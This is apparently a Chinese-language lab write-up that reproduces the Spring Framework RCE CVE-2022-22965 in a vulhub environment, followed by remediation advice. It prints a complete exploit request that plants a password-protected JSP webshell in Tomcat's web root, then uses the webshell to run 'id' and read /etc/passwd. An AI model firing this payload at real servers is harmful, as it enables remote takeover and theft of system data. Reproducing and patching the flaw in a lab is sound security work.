Spring RCE(CVE-2022-22965)
漏洞介绍
Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。2022年3月31日,Spring官方发布安全公告,披露CVE-2022-22965 Spring Framework 远程代码执行漏洞。由于Spring框架存在处理流程缺陷,攻击者可在远程条件下,实现对目标主机的后门文件写入和配置修改,继而通过后门文件访问获得目标主机权限。使用Spring框架或衍生框架构建网站等应用,且同时使用JDK版本在9及以上版本的,易受此漏洞攻击影响。
影响版本
Spring Framework < 5.3.18
Spring Framework < 5.2.20
JDK ≥ 9
复现环境
本机vulhub服务
10.139.10.152
漏洞复现
vulhub搭建服务
sudo docker-compose up -d
2.环境搭建完毕后查看一下目标端口,可以看到是8088
docker ps
3.访问浏览器看到
4.打开burpsuite进行抓包
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22zhaoyifei%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
木马传参位置
exec(request.getParameter(%22zhaoyifei%22))
5.访问创建的存在木马文件
http://10.139.10.152:8080/tomcatwar.jsp?pwd=j&zhaoyifei=id
尝试访问敏感目录
http://10.139.10.152:8080/tomcatwar.jsp?pwd=j&zhaoyifei=cat /etc/passwd
注意:不要多次上传,可能会导致服务器崩溃。
修复意见
升级Spring框架到最新版本;
– 该漏洞仅在JDK9及以上版本才可以被触发,可以降低JDK版本至JDK8;
– 升级Tomcat到最新版本;
– 利用WAF、IPS等应用层的入侵检测设备,针对目前公开的EXP是通过POST上传jsp文件,参数中都带有class、classloader等字段,进行关键字过滤